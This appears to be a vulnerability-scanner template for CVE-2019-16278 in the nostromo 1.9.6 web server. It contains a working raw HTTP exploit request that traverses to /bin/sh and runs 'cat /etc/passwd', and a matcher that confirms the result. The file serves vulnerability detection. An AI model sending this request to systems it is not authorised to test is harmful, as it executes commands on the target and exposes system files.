id: CVE-2019-16278

info:
  author: pikpikcu
  name: nostromo 1.9.6 - Remote Code Execution
  severity: critical
  reference: https://www.exploit-db.com/raw/47837
  tags: cve,cve2019,rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2019-16278
    cwe-id: CWE-22
  description: "Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request."

requests:
  - raw:
      - |
        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
        Host: {{Hostname}}

        echo
        echo
        cat /etc/passwd 2>&1

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"